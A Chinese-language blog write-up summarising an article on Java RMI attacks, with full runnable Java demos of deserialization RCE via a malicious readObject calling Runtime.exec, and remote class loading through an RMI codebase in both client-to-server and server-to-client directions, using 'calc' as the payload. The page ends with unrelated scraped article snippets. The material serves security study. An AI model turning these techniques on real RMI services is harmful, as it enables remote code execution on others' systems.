关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的一些总结-1

原文地址:https://www.anquanke.com/post/id/194384#h3-3

1.java rmi

关于rmi客户端和服务端通信的过程,java的方法都实现在rmi服务端,客户端实际上是通过访问rmi注册表拿到stub,然后再通过它调用服务端方法,那么调用方法时要传递参数,参数可以为一般类型,也可以为引用类型,那么如果为引用类型,就能够利用服务端已经有的gaget chain来打server,因为参数实际上是序列化传输的,那么数据到达服务端后必定会经过反序列化。

客户端:

RMIClient.java

package com.longofo.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    /**
     * Java RMI恶意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        PublicKnown malicious = new PublicKnown();
        malicious.setParam("calc");
        malicious.setMessage("haha");

        // 使用远程对象的引用调用对应的方法
        System.out.println(services.sendMessage(malicious));
    }
}

此时客户端要打服务端,因此要将恶意的对象作为参数传递到服务端,此时序列化的对象将在服务端反序列化

publicKnown.java

package com.longofo.javarmi;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class PublicKnown extends Message implements Serializable {
    private static final long serialVersionUID = 7439581476576889858L;
    private String param;

    public void setParam(String param) {
        this.param = param;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.param);
    }
}

此时要传递的恶意对象肯定要符合服务端参数类型的定义

服务端:

RMIServer.java

//RMIServer.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    /**
     * Java RMI 服务端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage();
    }
}

Service.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

Message.java

package com.longofo.javarmi;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = -6210579029160025375L;
    private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

所以这里服务端存在漏洞的即为ServicesImpl类,其存在一个方法其入口参数为Message对象,并且这里Message这个类是继承自Serializable,即可以进行反序列化。服务端通过bind()函数绑定远程对象到RMI注册表中,此时客户端即可以访问RMI注册表拿到stub,即可调用服务端的方法,比如sendMessage()函数

此时先启动RMIServer.java,然后再启动RMIClient.java,即可达到打rmi服务端的效果,这里jdk版本为1.6

 

在服务端的readObject处下断点,即可看到调用栈,经过ConnectHandler后就能够确定服务端要反序列化的类名

接下来就是通过反射调用PublicKnown类的readObject方法 ,进而到达readObject内部的命令执行代码段

2.java rmi 动态加载类

2.1RMI服务端打客户端

java rmi动态加载类,其实就是通过指定codebase来制定远程的类仓库,我们知道java在运行过程中需要类的时候可以在本地加载,即在classpath中找,那么也可以通过codebase来指定远程库。默认是不允许远程加载的,如需加载则需要安装RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需为false,当然这也是受jdk版本限制的。

RMIClient.java

package com.longofo.javarmi;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient1 {
    /**
     * Java RMI恶意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        Message message = new Message();
        message.setMessage("hahaha");

        services.sendMessage(message);
    }
}

此时RMI客户端正常操作,传入Message对象,并调用服务端sendMessage方法

ServiceImpl.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject;

import java.rmi.RemoteException;

public class ServicesImpl1 implements Services {
    @Override
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject();
    }
}

可以看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型,即该类的实例

ExportObject.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.longofo.remoteclass;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExportObject implements ObjectFactory, Serializable {
    private static final long serialVersionUID = 4474289574195395731L;

    public ExportObject() {
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());

        BufferedReader inBr;
        String lineStr;
        for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {
        }

        inBr.close();
        in.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            exec("calc");
        } catch (Exception var1) {
            var1.printStackTrace();
        }

    }
}

这里实际上服务端返回的即为该ExportObject类的实例,该类是实现了对象工厂类,并且可以序列化的,所以可以通过jrmp进行传输,我们只需要将其编译放在服务器端指定的codebase地址即可等待客户端来加载,当客户端远程加载该类时将会实例化该类,即调用该类的static代码段

RMIServer.java

package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer1 {
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl1 obj = new ServicesImpl1();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

            //设置java.rmi.server.codebase
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

此时RMIServer端指定了客户端codebase的地址,即客户端反序列化ExportObject时需要加载该类,此时将通过服务端提供的codebase来加载

此时先启动托管远程类的服务端,将ExportObject.class放在codebase指定的位置,这里要注意包名要和目录名相一致

然后启动RMI服务端,启动RMI客户端,即完成了客户端要调用sendMessage方法,此时服务端返回了ExportObject对象,客户端发现返回的是ExportObject对象后,那将在本地的classpath中没找到该类,则通过服务端指定的codebase来加载该类,加载该类的后将实例化该类,从而触发calc

此时托管class的http服务端也收到了加载class文件的请求

2.2RMI客户端打服务端

RMIClient.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject1;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient2 {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        ExportObject1 exportObject1 = new ExportObject1();
        exportObject1.setMessage("hahaha");

        services.sendMessage(exportObject1);
    }
}

上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考,客户端来加载codebase地址的class文件,那么从上面这段代码可以看到此时是客户端制定了codebase地址,那么当然服务端就得从客户端指定的codebase来加载class了,可以看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象

ExportObject1.java

package com.longofo.remoteclass;

import com.longofo.javarmi.Message;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject1 extends Message implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

此时该类继承自Message类,实现对象工厂接口,并且支持序列化

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage();
    }
}

RMIServer.java

//RMIServer2.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer2 {
    /**
     * Java RMI 服务端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
                System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
                RMISecurityManager securityManager = new RMISecurityManager();
                System.setSecurityManager(securityManager);

                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

可以由以上代码看到,此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数,这里方法体内容是什么并不重要,因为这种打法和第一节中的打法一样,都是打RMI服务端,区别是第一节是利用RMI服务端本地的gaget chain,而这里则是利用远程类加载,通过客户端指定的codebase来打RMI服务端。

所以此时codebase的地址也将受到请求ExportObject1.class的请求,因为服务端发现穿送过来的ExportObject1类classpath里面没有,所有就会通过客户端指定的codebase加载,从而实例化该恶意ExportObject1类,执行static代码块的命令

原文地址:https://www.cnblogs.com/tr1ple/p/12231677.html

时间: 2024-08-29 07:50:32

关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的一些总结-1的相关文章

Java中RMI远程调用demo

Java远程方法调用,即Java RMI(Java Remote Method Invocation),一种用于实现远程过程调用的应用程序编程接口.它使客户机上运行的程序可以调用远程服务器上的对象.远程方法调用特性使Java编程人员能够在网络环境中分布操作.RMI全部的宗旨就是尽可能简化远程接口对象的使用. Java RMI极大地依赖于接口.在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节.客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信.这样一来,

JAVA中对一维数组排序的方法(在快速排序上进行的优化)

对于搞算法的人经常使用到快排(快速排序的简称), 对于C++中的sort(,,)来说是快排的方法,相对来说对于JAVA来说,也有快排的调用, 这里的方法是 Arrays.sort(数组名字); 代码: package com; import java.util.Arrays; public class Arry { public static void main(String[] args) { // TODO Auto-generated method stub int[] a = new i

在JAVA中通过短信的形式发送到手机号码上

package com.fetion.test; import java.io.BufferedReader;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.ut

java中TCP两个例子大写服务器和文件上传

大写服务器的实例: package com.core.net; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; class

java中如何把后台数据推送到页面上 【后续编辑】

https://my.oschina.net/yongqingfan/blog/535749 http://www.blogjava.net/BearRui/archive/2010/05/19/flush_chunk_encoding.html http://www.cnblogs.com/hoojo/p/longPolling_comet_jquery_iframe_ajax.html javaweb 长连接

在tomcat中配置JNDI

1.关于tomcat的server.xml配置文件 在tomcat的配置文件conf/server.xml文件的<Host>标签中加入<Context>标签可以标记当前Web应用,应用随系统启动而加载,如: <Context path="" docBase="E:\TestPro\WebRoot" reloadable="true" > </Context> 这里讲path属性标记为空,访问系统时就

黑马程序员【Java中的面向对象】

Java中的面向对象 在软件开发的学习中, 我最先接触的开发语言就是java,但都是简单的函数和循环数组的应用.说道面向对象,第一次看到这个词的时候还是在C#的学习过程中,我记得当时PPT上霸气的解释,什么是对象?万物皆对象!够霸气吧,当时的面向对象思想对我来说还是挺崩溃的,什么继承多态啊!经过了无数的联系项目的书写,终于对面向对象有了一定的理解,现在刚好在java的学习中再度重温面向对象,那么就将我眼中的面向对象写出来分享给大家. 说到面向对象,我们就不得不提一下他的三大特性,继承封装和多态.

Java中的i=i++

1 public class Demo_01 { 2 public static void main(String[] args) { 3 int a = 10; 4 int b = 20; 5 int i = 0; 6 i = i++; 7 b = a++; 8 System.out.println(a); 9 System.out.println(b); 10 System.out.println(i); 11 } 12 } 先算等号,那,ok,答案就是a=11,b=10,i 呢??? 这时

Java开发知识之Java中的泛型

Java开发知识之Java中的泛型 一丶简介什么是泛型. 泛型就是指泛指任何数据类型. 就是把数据类型用泛型替代了. 这样是可以的. 二丶Java中的泛型 Java中,所有类的父类都是Object类.所以定义泛型的时候,设计长须的话传入的值与返回的值都是Object类型为主.如果是用具体的实例,就要进行转换了.具体参考向上转型,跟向下转型. JDK 1.5版本才有了泛型机制. 语法如下: class 类名<T >{ public T a; public T b; public void Set